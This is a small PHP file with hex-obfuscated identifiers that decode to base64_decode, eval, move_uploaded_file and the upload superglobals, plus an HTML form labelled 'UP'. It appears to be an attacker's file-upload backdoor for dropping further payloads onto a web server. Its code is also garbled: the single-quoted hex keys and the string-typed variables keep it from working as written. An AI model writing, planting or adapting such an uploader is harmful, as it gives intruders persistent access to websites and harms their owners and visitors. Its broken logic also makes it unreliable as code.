<?php
$_____ = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
$____ = "\x65\x76\x61\x6c";
$___ = "\x5f\x46\x49\x4c\x45\x53";
$_ = "\x5f\x50\x4f\x53\x54";
$__ = "\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65";
$___ = $_____($___[$_][$__]($___[$_]['\x74\x6d\x70\x5f\x6e\x61\x6d\x65'], $___[$_]['\x6e\x61\x6d\x65']));
if ($___) {
    echo "\x3c\x70\x72\x65\x3e\x55\x50\x20\x2d\x2d\x3e\x20\x3c\x61\x20\x68\x72\x65\x66\x3d\x22" . $___[$_]['\x6e\x61\x6d\x65'] . "\x22\x3e" . $___[$_]['\x6e\x61\x6d\x65'] . "\x3c\x2f\x61\x3e\x3c\x2f\x70\x72\x65\x3e";
}
?>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="f">
    <input type="submit" value="UP">
</form>
